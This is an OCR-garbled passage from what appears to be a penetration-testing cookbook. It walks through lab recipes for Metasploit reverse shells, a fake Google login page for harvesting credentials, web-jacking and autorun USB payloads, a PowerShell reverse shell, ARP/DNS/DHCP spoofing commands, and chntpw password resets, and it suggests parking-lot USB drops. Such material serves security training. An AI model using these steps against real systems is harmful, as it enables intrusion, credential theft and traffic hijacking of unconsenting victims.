mst exploit( set LPORT 8123
LPORT => 8123
0 > set ExitOnSession false

msf exploit( ) = set DisablePayloadHandler false

DisablePayloadHandler == false

msf exploit( ) = exploit -j

[*] Expleit running as background job.

[*] Started reverse TCP handler on 192.168.56.10:

*] Starting the payload handler...

[*] Command shell session 1 opened (192.168.56.18:8123 -> 192.168.56.181:1832) at 20817-87-16 21:25:09 -8400
msf exploit( ) >

[

Kali Linux Armitage handler screen indication XP machine connected

Again, many AV and SPAM engines are familiar with these attacks, and
there will be a high rate of detection, unless you really spend some time in
crafting the messages well and creating your own customized payload to
get through the detection engines.
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Credential harvesting with SET

Credential harvesting can be used with many different types of attacks, but the ultimate
goal is to make the user believe he has reached the site that he was trying to get to, such
as Facebook or Google, and steal their credentials when they attempt to log in.

In this recipe, we will mimic a site and perform credential harvesting for accounts for
that site.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Move the interface from one of your Windows test machines to the NAT network
temporarily
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How to do it...

We will now impersonate a real web site to gather credentials:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> [

Initial setoolkit screen

Select the top option 1) Social-Engineering Attacks.
9

Select 2) Website Attack Vectors.

Select 3) Credential Harvester Attack Method.

Select 1) Templates.

Al

6. You will then be asked for the IP address of the post. Enter the IP address of Kali
on the NAT network. You can open another terminal window and do :fconrig. I will
enter 10.0.2.4:
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root@kali:-# ifconfig
ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.4 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 feB80::a00:27ff:fefl:9ad8 prefixlen 64 scopeid Ox20<link>
ether 88:00:27:f1:9a:d8 txqueuelen 1000 (Ethernet)
RX packets 1310 bytes 1297010 (1.2 MiB)
RX errors @ dropped © overruns © frame 0
TX packets 1060 bytes 135819 (132.6 KiB)
TX errors © dropped © overruns © carrier @ collisions @

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.10 netmask 255.255.255.0 broadcast 192.168.56,255
inet6 feB0::cb64:1f9c:9416:7b4b prefixlen 64 scopeid 0x20<link>
ether ©8:00:27:cl:da:2b txqueuelen 1000 (Ethernet)
RX packets @ bytes © (0.0 B)
RX errors @ dropped @ overruns @ frame ©
TX packets 18 bytes 1296 (1.2 KiB)
TX errors © dropped © overruns © carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.8
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 12659 bytes 58634287 (55.9 MiB)

ifconfig output of Kali machine

7. We will be given a list of predefined templates, so let's use 2. coogie.
8. The harvester will automatically launch and be displayed on your screen.

9. From the Windows machine, log in and browse to the IP address of your Kali
device as previously entered:
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Vi Dy S g e el E=
A A
bt |g hitp://10.0.24

sir Favorites | 53 @] Suggested Sites v @) Web Slice Gallery v

| € Sign in - Google Accounts

-

Google

Sign in with your Google Account

m

Need help?

Create an account

-

& & Intemet | Protected Mode: On v Bi0% ~
=Nl aou o SI6PM
Ol D0 eem

Fake Google login page

10. You get a very familiar looking login screen; however; up at the top, it provides an
IP address versus Google.

So, to make this more believable, you would want to hide the IP address.
Do you have any thoughts? There are two options. Firstly, if you have
previously compromised the device, you could modify the host file;
alternatively, you could use DNS/DHCP spoofing.

11. Enter test credentials and click on Sign in:
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janedoe@example.com

MNeed help?

Fake login screen

12. Notice that, on the Windows machine, you will be redirected to Google. However,
look at sz, and notice we harvested the credentials:

root@Kali: ~ I C N -]
File Edit View Search Terminal Help

: foi i p J t ive
10.0.2.5 - - [18/Jul/2017 21:15:50] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:

POSSIBLE USERNAME FIELD FOUND: Email=janedoe@example.com
POSSIBLE PASSWORD FIELD FOUND: Passwd=janel23

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT !

L

Set output of credentials

13. Type controi-c and press Enter; this will return you to the szr console.
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Web jacking
Web jacking is a method where the user will be presented with a website saying the site

has moved, and when they are redirected, they have malware inserted in the
browser/computer.

In this recipe, we will web jack a site.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Move the interface of one of your Windows test machines to the NAT network
temporarily
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How to do it...

We will now perform web jacking by simulating a site redirect:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuratien

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Initial setookit screen

2. Select the top option, 1) social-Engineering Attacks.

3. Select 2) website attack vectors.

4. Select 5) web Jacking Attack Method.

5. We will select 2) site cioner.

6. Enter the IP address of the post again. In this case, my IP of 10.0.2.4.

7. Enter the URL site you want to clone. A sample site you can use is http:/us-123hiking.sim
plesite.com/.

8. This system will automatically clone the site and start the nsfconso1e.

9. From here, open one of your Windows VM. I will use the Windows 7 machine and

browse to nttp://10.0.2.4:
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[@ Front page - us-133hiking simplesite-com - Windows Internet Explorer =)
GE) ~ e npinoa ~ |49 x [ [ 2 ing P~
& Favorites | 53 ) Suggested Sites v @] Web Slice Gallery =
(& Front page - us-123hiking simplesite.com f5 B ~ ) e v Pagew Safety~ Tools~ @~
L‘, To help protect your security, Internet Explorer blocked this site from downloading files to your computer, Click here for options... x

Trekking and Hiking

Welcome to our website

Front page OurDiary Photoalbum Trekking Links

m

Share this page
B3 Share on Facebook
€ Share on Twitter
@ Share on Google+
[ %
Typi non habent claritatem Duis autem vel eum iriure dolor ~ Nam liber tempor cum soluta
insitam liber. soluta habent. nobis eleifend habent.
e e, SRR
2 i, .
# Done @ Internet | Protected Mode: On v H100% -~

Fake website screen

10. Isee a link up at the top, so I click on it to open the dialog;

Do you want to run or save this file?

Mame: Launcher.hta

Type: HTML Application, 7.23KB
From: 10.0.2.4

| | While files from the Intemet can be useful, this file type can
) poientially ham your computer. ¥ you do not trust the source, do not
=" run or save this software, What 's the risk?

Run dialog box

11. Then, I click on Run from the machine.

12. From there, if I go back to Kali, I will see a new session has been opened:
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*] Sending encoded stage (957517 bytes) to 10.6.2.5
*1 Meterpreter session 1 opened (10.0.2.4:8123 -> 10.0.2.5:49280) at 2017-07-21

19:36:18 -0400

msf exploit(handler) > [*] Encoded stage with x86/shikata ga nai
[
[

MSF exploit session connected screen

13. Type sessions 1 and press Enter at the ns¢ > prompt to attach you to the computer.

14. Type sysinto and press Enter to get access to the system.

15. From here, you can try some other commands in the mstconso1e to play around, but, at
this point, you have access to the PC.
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PowerShell attack vector

In this recipe, we will use PowerShell to connect back to our Kali host. PowerShell has
been included with Windows Vista and beyond and has become a very popular attack
vector due to the capabilities of the shell. We will not focus on how to get the script
there, as we have covered options in other recipes; this will just focus on creating the
malicious payload.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Move the interface of one of your Windows test machines to the NAT network
temporarily
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How to do it...

We will now use PowerShell to attack a host:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Initial setoolkit screen

2. Select the tOp Optlon, 1) Social-Engineering Attacks.

3. Select 9) Powershell Attack Vectors.

Select 2) powershell Reverse shell.

Enter the IP address of your Kali host 192.168.56.10.

Enter the listener port s123.

Select No when asked to start a listener, as we will use Metasploit for that.

A file will be created in the following

location ~/.set/reports/powershell/powershell.reverse.txt. Move this file to the Windows
machine, and change its extension from TXT to PS1.

9. Since we will use the nsrconso1e for our listener, let's get it prepared by entering the
following commands in a terminal window. We will use our Kali Linux host-only,
IP address of 192.168.56.10, and our listener port of s123:

b AU

cd

service postgresql start

msfconsole

handler -p generic/shell reverse tcp -H 192.168.56.10 -P 8123
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msf > handler -p generic/shell reverse tcp -L 192.168.56.10 -P 8123

[-] You must select a host(RHOST/LHOST) with -H <hostname or address>

[-] Please supply missing arguments and try again.

msf > handler -p generic/shell reverse tcp -H 192.168.56.10 -P 8123
Payload Handler Started as Job ©

Started reverse TCP handler on 192.168.56.10:8123
msf > Starting the payload handler...

MSF mitialization screen

10. From your Windows 7 machine, open a Command Prompt, and type the following:

| powershell -ExecutionPolicy Bypass -file c:\share\powershell.reverse.psl

B Command Prompt - powershell -ExecutionPolicy Bypass -file c:\share\powershell.reverse.psl =N =R

C:\Users\win?>powershell —-ExecutionPolicy Bypass —file c:“\share\powershell.reven|
lse .psl

m

PowerShell output

11. You will notice that we now have a connection on session 1, so let's open it by
typing sessions 1. From here, we can enter a simple command like qi- to get a
directory listing:
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File Edit View Search Terminal

msf > sessions 1
[*] Starting interaction with 1...

root@kali: ~ [-]

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation.

C:\Users\win7>dir

Volume in drive C has no label.

ALl rights reserved.

Volume Serial Number is 8CA2-5813

Directory of C:\Users\win7

06/04/2017
06/04/2017
06/04/2017
06/04/2017
06/04/2017
07/18/2017
06/04/2017
06/04/2017
06/04/2017
06/04/2017
06/04/2017
06/04/2017
06/04/2017

04:16
04:16
04:16
04:16
04:16
l0:00
04:16
04:16
04:16
04:16
04:16
04:16
04:16

0 File(s)
13 Dir(s)

C:\Users\win7>J]

PM

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

Contacts
Desktop
Documents
Downloads
Favorites
Links
Music
Pictures
Saved Games
Searches
videos

0 bytes

15,289,073,664 bytes free

Dir output from msf
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QRCode attack vector

In this recipe, we will generate a QRCode for a site that we own, to harvest credentials.
This can be sent through various means such as email, Facebook, twitter post, or even
by using it as part of a flyer that you leave on target vehicles. We will send this QRCode

to our target.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
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How to do it...

We will create a QRCode which redirect to a website:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Initial set toolkit screen

2. Select the tOp OptiOn 1) Social-Engineering Attacks.
Select 8) QRCode Generator Attack Vector.
4. Enter the malicious URL; for our test purposes, we will simply enter

()

www.packtpub. com.

5. It will generate the image file and provide the location.
6. Open the image file on your Kali VM, like so:

Generated QRCode

7. Most phones will scan this image and take you to the website indicated.

Apple 10S requires a third-party app - however, it is supposed to be
0 included in10S 11.
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There's more...

Alone this attack may seem meagre, but it is a very effective attack. First, you can pretty
much design any website you want and use it to capture credentials. Think about putting
flyers in a company parking lot that says scan this QRCode and sign up to get a free 5.00
gift card to Starbucks. How many of those people do you think you can get significant
information on?
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Infectious media generator

In this recipe, we will build an infectious file that can be put on USBs, CDs, or DVDs.

We will generate a malicious payload that will autorun when entered into a victim PC.

We will simulate the execution; however, if you have physical test machines, it is much
easier to test.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Windows VM is up and running
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How to do it...

We will build our infections media:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Initial setookit screen

Select the top option 1) social-Engineering attacks.

Select 3) 1nfectious media generator.

Select 2) standard Metasploit Executable.

Let's use 2) windows Reverse TCP Meterpreter.

For the wuosr, use the IP address of your Kali machine 192.168.56.10.

Enter the port for callback s12s.

It will then generate the payload. Go ahead and start a listener right now:

A

Generating the payload.. please be patient.

Payload has been exported to the default SET directory located under: /root/
.set//payload.exe

Your attack has been created in the SET home directory (/root/.set/) folder
'autorun’

Note a backup copy of template.pdf is also in /root/.set/template.pdf if nee
ded.

Copy the contents of the folder to a CD/DVD/USB to autorun
set> Create a listener right now [yes|no]: [

Payload generation output

9. From here, we have an autorun option that we can burn to a DVD or CD or put on a
USB. This is a bit difficult to simulate with our virtual machines, so we will
simply copy the program.exe file from ~/.set/autrun/program.exe and put it on our
Windows 7 test machine to run it.

10. From your Windows machine, open the program.exe file simulating an autorun
execution. Notice that, upon running it, there are no visible signs of execution. This
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would be the same i1f it was autorun from a USB stick:

Win
=

: @\h/v| » Computer » Local Disk (C:) » share v|+’-|| Search share

Organize » E Open Share with = New folder

Con = b} ifi
Computer g MName Date maodified Type
¢ Favorites +

Bl Desktop |83 powershell.reverse.psl 7 7PM  PS1 File

£ 4 Downloads = | program.exe 1/22/2 1PM Application
1 | Recent Places

Network
= Libraries

“:| Documents
@' Music

E = k= Pictures
Recycle Bin B videos

"M Computer

kI-l Metwork

desktop.ini

desktop.ini

program.exe State: 38 Shared Size: 72.0 KB
Application  Date modified: 7/22/2017 6:11 PM Date created: 7/22/2017 7:47 PM

not genuine

egi G, iﬁ.‘ > CARRTDR

Payload execution on Windows VM

11. From our Kali machine, you will notice that we have a new session connected.
Type sessions to see the connected devices:

msf exploit(handler) = Sending stage (957487 bytes) to 192.168.56.101
Meterpreter session 1 opened (192.168.56.10:8123 -> 192.168.56.101:49158) at
2017-07-22 18:17:32 -0400
sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/windows win7-PC\win7 @ WIN7-PC 192.168.56.10:8123 -> 192
.168.56.101:49158 (192.168.56.101)

MSF session connected
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12. Enter sessions 1, and from here, we are now connected to our target machine in a
meterpreter session; to validate our connection, we type sysinfo:

meterpreter > sysinfo

Computer : WIN7-PC

0s : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter > |

MSF sysinfo output
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There's more...

This is a great attack to use with USB sticks. If you are actively working with a
company on a penetration testing engagement you can spread them around the company
entrances and parking lots. There is a high likelihood that at least a few of them will be

plugged in giving you access to the target network.
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Obfuscating and manipulating URLSs

Obfuscating and manipulating URLs has long been used to assist in tricking an end user
into clicking on a malicious site. These could be through various techniques such as
using URL shortening, hiding the URL, using the IP address, and other functions. This
can be used in emails or other types of interactive documents.

In this recipe, we will examine a couple of methods to obfuscate or manipulate URLs.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
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How to do it...

We will now review several methods of obfuscating URLS:
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URL shortener

Let's work with a URL shortener first:

1. From you main Kali screen, open a Firefox browser. E
2. Go to the httpsv/goo.gl link. Enter a URL you want to shorten. The following is an
example I'm using;

https//www.nytimes.com/2017/05/15/technology/personaltech/heres-how-to-protect-yourself-from-rans
omware-attacks.html

3. Select I'm not a Robot and click on SHORTEN URL.:

Google URL Shortener - Mozilla Firefox @ ® 0

j;"' G Google URL Shortener x "'\KG The New York Times .. % ) How to Protect Yours.. x <+

€ @ @ | htips://goo.gl | & ||Q Search w B ¥ » =
Il Offensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools ® Exploit-DB Wy Aircrack-ng gdKali Forums »
Google URL Shortener il sionin |

Simplify your links

Your original URL here

All goo.gl URLs and click analytics are public and can be accessed by anyone

I'm not a robot

SHORTEN URL

4. You will get an output with a shortened URL; in my case, it 1S goo.g1/00nu0n. When
you enter that into your browser, you will be taken to the original link.
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URL manipulation

Know we will manipulate a URL:

From your main Kali screen, open a Firefox browser. E

There is a method of using the @ sign in a URL to help fake the IP address. In your
browser, try entering nttp: //www.gooogle . conewww . packtpub.com. Depending on your browser,
you may or may not get an error message. For instance, try this in Firefox and then in
Chrome. Anything before @ is assumed to be login credentials for the website that
follows the @ sign. If the site does not require authentication, you will be taken directly
in.

At the time of the writing this book, you will get a confirmation in one, and
automatically be redirected in the other.
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Simple URL link misdirections

We will use a URL link redirection attack:

1. From within Kali, open up a document editor. I will use Google Docs.
2. Type na Simple phrase such as ricase signup at facebook.com for the promotion.

& AT 0% - Normaltext Arial 1 BZUA- B Mo /- A

2 3 4 5 B 1

Please signup at facebook.com for the promotion.

3. Highlight facebook.com and right-click on it and select Link... :
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»

& o ~ " 100% - Normaltext - | Arial - 1 - B Z U A- coH wore- 7 -

1 1 2 3 4 5 8 7
Please Signup at facnhnnb marn far tha Aarammatican E
b A -
ut EX
[ Copy ®#C
[ Paste B8V

&

[/ Paste without formatting 38 +Shift+V

Explore ‘facebook.com'$ +Option+Shift+|

Define 'facebook.com’ 88 +Shift+Y
B Comment 38+Option+M
=2 Suggest edits
@ Save to Keep notepad
c2 Link... #K
Select all matching text
Ty Clear formatting 38\

4. Enter a different URL for the link address, and click on Apply:

»

& v ~ P 100% - Normaltext -  Aral - M1 =+~ B Z U A- coBH More- 7 -
o

1 1 2 3 4 5 6 7

Please signup at facebook.com for the promotion. o

Text facebook.com

Link hitps:/fwww.yahoo.com/ m

5. Now, if the link 1s clicked, it will forward you to the target website, as opposed to
the website displayed:
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= ol -i!' 100% - Normal text - Arial - 1

1 2 3

Please signup at facebook.com for the promotion.

More -

>
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There's more...

These methods of obfuscation combined with websites, emails, documents, and PDF
documents can be extremely tricky for users. Often, they are so quick to click, they don't
realize they are being taken to the wrong site. If you combine this with registering
domain names that are close to the target domain, they are very often overlooked by the
end user.

Take an example of googie.com being redirected to one of the following--goog1e. con,
google.com, ANd googie.com. Often these will easily be overlooked by the casual user, and
you can have lookalike sites.
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DNS spoofing and ARP spoofing

In this recipe, we will discuss how to perform DNS and ARP spoofing. In several of
our past recipes, we have shown website attacks that utilize an IP address for the attack
—the IP of the Kali machine. However, in real attacks, this may easily be spotted. The
whole point of the attack is to make it appear as if they are going to the proper site and
making it appear as real as possible. The first part of this process is to perform DNS
spoofing.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Move the interface from one of your Windows test machines to the NAT network
temporarily
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How to do it...

We will now use ARP spoofing to redirect a user to a fake website:

1. Open up a new terminal window by clicking on the following icon. .

2. We need to ensure promiscuous mode is on for the interface we are using, and we
all need to ensure that [P forwarding is turned on. We need to create a host file to
spoof a particular site or set of sites. As we have used a hiking site in several of
our testing examples, we will spoof us-123niking.simplesite.com, and send it to
10.0.2.4, which 1s the IP address of my Kali box on ecno. Enter the following
commands:

cd

ifconfig ethO0 promisc

echo 1 > /proc/sys/net/ipv4/ip forward

touch fakehost.txt

echo '10.0.2.4 us-123hiking.simplesite.com' > ~/fakehost.txt

3. Now, we have to basically become a man in the middle; we will do this by ARP
spoofing the router IP address (default gateway) of 10.0.2.1 and ARP spoofing the
victim IP of our Windows machine 10.0.2.5. Then, start ansspoor using the host file
we just created:

arpspoof -t 10.0.2.5 10.0.2.4 > /dev/null 2>&l &

arpspoof -t 10.0.2.1 10.0.2.4 > /dev/null 2>&l &
dnsspoof -f ~/fakehost.txt

It may take minutes for the ARP spoofing to take place, so be patient; it
may help to not start your Windows machine until everything has been set
up accordingly. Also, you may want to check that all of the interfaces from
a Virtual Box perspective are in a promiscuous mode.

4. Open your Windows test machine, and open a Command Prompt. Enter the
following commands. You will note that the hiking site will be pointed to our Kali
box:

ipconfig /flushdns
ping www.yahoo.com
ping us-123.hiking.simplesite.com
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BEX Command Prompt E=n Eoh =

Pinging atsuv2-fp.wgl.b.yahoo.com [98.132.188.1492]1 with 32 bytes of data: o
Reply from 98.139.188.149: hytes=32 time=58ms TTL=48

Reply from 28.139.1808.149: bhytes=32 time=508ms TTL=48 -
Reply from 28.139.188.149: hbytes=32 time=51ims TTL=48
Reply from 28.1392.188.149: bhytes=32 time=51ms TTL=48

Ping statistics for 98.139.180.149:

Packets: Sent = 4. Beceived = 4, Lost = 8 {Bx loss>.
Approximate round trip times in milli-seconds:

Minimum = 58ms,. Maximum = S5ims, Average = S50mns

C:sUsersswin??ping us—123.hiking.simplesite.com

Pinging us—123_hiking.simplesite.com [18.8.2_.4]1 with 32 bytes of data:

18.8.2.4: bytes=32 time{ims TTL=64
18.8.2.4: bytes=32 time{ims TTL=64
Reply from 18.8.2.4: bytes=32 time<{ims TTL=64
Reply from 10.8.2.4: bytes=32 time{ims TTL=64

Ping statistics for 18.8.2.4:

Packets: Sent = 4, Received = 4, Lost = 8 (Bx loss>.
Approximate »ound trip times in milli-seconds:

Minimum = Bms, Maximum = Bms, Average = Bms

C:xUserss\win?>

Windows command ping output

Terminate your Kali terminal session, flush the DNS of your Windows
machine, and retry the test. You should now be going to the real IP address

0of us-123. hiking.simplesite.com.
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DHCP spoofing

In this recipe, you will learn about DHCP spoofing.

DHCP spoofing can be used to route all packets through your Kali box or can be used to
push your DNS servers to the hosts on the network. This attack actually has a lot to do
with timing. It's important to note that this attack will not always work, as there is the
true DHCP server on the network and our DHCP spoofing server. The way DHCP
works is that the first response received by the victim is the one it will use irregardless
of how many responses it receives. So, the hope is that your response to their request
will beat the official DHCP server.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Windows system is shut down
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How to do it...

We will now perform DHCP spoofing on the network:

1. Open up a new terminal window by clicking on the following icon. .

2. We need to ensure promiscuous mode is on for the interface we are using, and we
all need to ensure that [P forwarding is turned on. Then we will start ettercap in the
GUI Mode:

ifconfig eth0 promisc
echo 1 > /proc/sys/net/ipv4/ip_ forward
ettercap -G

3. From the ettercap main GUI screen, we want to start sniffing traffic. Click on Sniff |
Unified sniffing. Then, select the interface we will use. For test purposes, we will
use our host-only interface of etn1 and click OK:

wibirap (A 1 & & 0

“IEttercap

ettercap main screen

4. From here, we will have a new option to select MITM | DHCP spoofing... .

5. Enter an IP pool. In this case, I will use a range on our host-only network of
192.168.56.100-192.168.56.110, a Subnet mask of 255.255.255.0, and the DNS server
address of 192.168.56.10, Wwhich is the IP address of my Kali VM. Click on OK:
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MITM Attack: DHCP Spoofing [~]

Server Information

T
u IP Pool {optional) | 56.100-192.168.56.110

Netmask 255.255.255.0

DNS Server P |192.168.56.1q]

Cancel 0K

ettercap mitm dhcp spoofing dialog box

6. Now, start your Windows system, open a Command Prompt, and enter the
following. Notice the IP address provided is in the range we specified, and you
can also see 1n ettercap that the response was provided from there:

| ipconfig

ER Command Prompt o[- E- | S|

IC:\Users win?>ipconfiqg

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix . =

Link-local IPv6 Address . . . . . = fe80::3df3:ad2:eB23:f%cbx11l
IPuv4 Address. . . . . - . - - - . = 192.168.56.161

Subnet Mask . . . . . . . . . . . = 255.255.255.8

Default Gateway . .
Tunnel adapter isatap.{380981AYE-AZ21A-4E92-2A86—B657EFB18641%:

Media State . . - . = « &« « =« « - & Media disconnected
Connection—specific DNS Suffix

Tunnel adapter Teredo Tunneling Pseudo—Interface:

Media Stafe . . . . . . . . . . . = Media disconnected
Connection—specific DNS Suffix

C:\Userssuin'?>

Windows ipconfig output

So a couple of things to note. You will notice that the default gateway is
not populated. This is because we do not have a default gateway on the
host-only network. Also, since you have no default gateway, you will not
forward the traffic off net.
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There's more...

This scenario is much easier to test out using physical machines versus virtual machines
based on our test environment. If you want to see a better example of this, try connecting
your Kali machine on a segment with a physical host that can talk to the internet.
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Password Cracking

In this chapter, we will cover the following topics:

Resetting local Windows machine password
Cracking remote Windows machine passwords
Windows domain password attacks

Cracking local Linux password hashes
Cracking password hashes with a wordlist
Brute force password hashes

Cracking FTP passwords

Cracking Telnet and SSH passwords

Cracking RDP and VNC passwords

Cracking ZIP file passwords
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Introduction

Password cracking has its own uses, often times you may be able to access and recover
password databases but they are encrypted and on other times to escalate privilege or
gain access, you may have to use a password attack.
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Resetting local Windows machine
password

In this recipe, we will crack the local Windows machine passwords with direct access
to the computer.

In this recipe, we will also simulate booting off a CD-ROM in order to reset the local
password.
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Getting ready

Let's ensure the following prerequisites:

e Your Windows workstation is powered down
e You have recently downloaded the Kali ISO
e Have a local standard user on the Windows workstation with a password
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How to do it...

We will now reset the Windows password using Kali boot media:

1. With your Windows machine off, start by going into VirtualBox, click on the
Windows VM, and click on Settings:

[

R . 4

v
New  Settings Start
& Kali (20170528)
(26 @ Powered Off
€]~ Ubuntu 16.04.02 LTS (20170528)

© Powered Off

{ Metasploitable (20170528)
/| @ Powered Off

GParted
© Powered Off

"] Windows XP (Original Install)
Xp: @ Powered Off

Windows 7 (Criginal Install)
@ Powered Off

VirtualBox machine screen

2. From the Settings menu click on Storage. Click on the CD-ROM drive and choose
the Kali ISO you recently downloaded. Then click OK:
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2y . 4

T

v
New  Settings Start
&l Kali (20170528)

26| W Powered Off

% | Ubuntu 16.04.02 LTS (20170528)
| @ Powered Off

¢ | Metasploitable (20170528) .

I windows 7 (Original Install)

Oracle VM VirtualBox Manager

= General

Name: Windows 7
Operating System: Windows 7 (64-bit)

Windows 7 - Storage

B 9 e O - EHEe Qe
L, J GParted General  System Display Storage  Audio  Network  Ports
26| @ Powered Off
. Storage Tree Attributes
7 Windows XP (Original Instal g :
B 1P} @ Powered Off £ Controller: SATA Optical Drive:

W Windows 7.vdi

Lid

None

Shared Folders

= Preview

- Windows 7
e

User Interface

SATA Port 1

Choose Virtual Optical Disk File...
gparted-live-0.28.1-1-i686.iso
kali-linux-2017.1-amd64.iso

Live CD/DVD
Hot-pluggable

wove Disk from Virtual Drive

b, @ howerei :
Infermation
Type: --
Size: --
Location: --
Aftached to: --

Cancel

| __UR

VirtualBox machine storage settings

3. Now start your Windows VM and it should automatically load the Kali CD. From
the main menu select Live (forensic mode).
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[ ] ® Windows 7 (Original Install) [Running]

KALI

“the gquieter you become, the more you are able to hear”

Boot menu

Live (amd64) N

Live (amd64 failsafe)

Live (forensic mode) _

Live USB Persistence (check kali.org-prst)
Live USB Encrypted Persistence (check kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options

) s o ) e (2] Left 3

Kali boot screen

. Once Kali is running open your terminal screen. .
. You must change to the directory of your mounted Windows volume. Your ID of the
drive will be different from mine but follow the following steps to find it:

cd /media/root
1s

. From the listed directory contents you will probably just have the one drive — use
the .a command to make that the active drive. Once in the directory use the
following commands:

cd Windows/System32/config
chntpw -1 SAM
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:/# cd /media/root
edia/root# 1s

:/media/root# cd 9E8CA2858CA25813/
ia/root/9E8CA2858CA25813# cd Windows/
root/9E8CA2858CA25813/Windows# cd System32/
oot/9E8CA2858CA25813/Windows/System32# cd config
oot/9E8CA2858CA25813/Windows/System32/config# chntpw -1 SAM
chntpw version 1.00 140201, (c) Petter N Hagen
Hive <SAM> name (from header): <\SystemRoot\System32\Config\SAM>

ROOT KEY at offset: 0x001020 * Subkey indexing type is: 666¢c <l1f>
File size 262144 [46000] bytes, containing 8 pages (+ 1 headerpage)
Used for data: 274/87136 blocks/bytes, unused: 9/10912 blocks/bytes.

| Username | Admin? |- Lock? --|
Administrator | ADMIN | dis/lock |
Guest | [\ dis/lock
UserA | \ |
UserB | \
win7 | ADMIN | dis/lock |
:/media/root/9E8CA2858CA25813 /Windows/System32/config#

Kali SAM output

You will now see a list of users and whether or not they are an admin. Let's reset
uvsera password and make it an admin on the system:

chnt -u UserA SAM

You will now be brought to a configuration screen. Select 1 and then 3, then select
v when asked to do it. Next hit 4 to quit and select y to write the hive files back:

root@kali; /media/root/9EBCA2858CA25813/Windows/System32/config e e 0

File Edit View Search Terminal Help
fullname: UserA

comment :

homedir :

00000221 = Users (which has 4 members)

Account bits: 0x8210 =
[ 1 Disabled
[ 1 Temp. duplicate

| [ ] Homedir req. Passwd not req.
LA
[ 1 Domain trust ac | [
| [
| [

] L] 1
X] Normal account | [ ] NMS account
] Wks trust act. | [ ] Srv trust act
[X] Pwd don't expir | | []
[ 1 (unknown 6x18) 1 I [1

Auto lockout (unknown 0x08)
(unknown 0x28) (unknown 0x40)

Failed login count: @, while max tries is: ©
Total 1login count: 1

- User Edit Menu:
- Clear (blank) user password
- Unlock and enable user account) [seems unlocked already]
- Promote user (make user an administrator) [N
Add user to a group
- Remove user from a group
- Quit editing user, back to user select
Select: [qg] >

(

1
2
3
4 -
5
q
e

chnt user modify screen

To validate, type the following command and you will note that vsera is now an
aomry and has a ssranks password:

chntpw -1 SAM
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# chntpw -1 SAM

chntpw version 1.00 140201, (c) Petter N Hagen
Hive <SAM> name (from header): <\SystemRoot\System32\Config\SAM>
ROOT KEY at offset: 0x001020 * Subkey indexing type is: 666c <lf>
File size 262144 [40000] bytes, containing 8 pages (+ 1 headerpage)
Used for data: 275/87176 blocks/bytes, unused: 9/10872 blocks/bytes.

| |- Username | Admin?
| Administrator | ADMIN
| f Guest \
| UserA | ADMIN
| |
| |

| - Lock?s--|
| dis/lock
Pl dis/lock
| *BLANK* |
UserB | |
win7 | |

ADMIN dis/lock

chnt show SAM screen

10. Power off the VM at this point and remove the ISO from the CD-ROM drive.
Lastly, start the VM. This time it should take you right to Windows. Click on your
user and you will be brought right in without requiring a password:

Windows 7 (Original Install) [Running]

Windows 7 main login screen

11. If you go in and check your user account you will notice that vsera 1S now an
administrator:

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

@Qv'ﬂ{ » Control Panel » All Control Panel ltems » User Accounts ontrol Pane
Control Panel Home
Make changes to your user account
Manage your credentials
- : i Create a password for your account —
reate a password reset dis| =
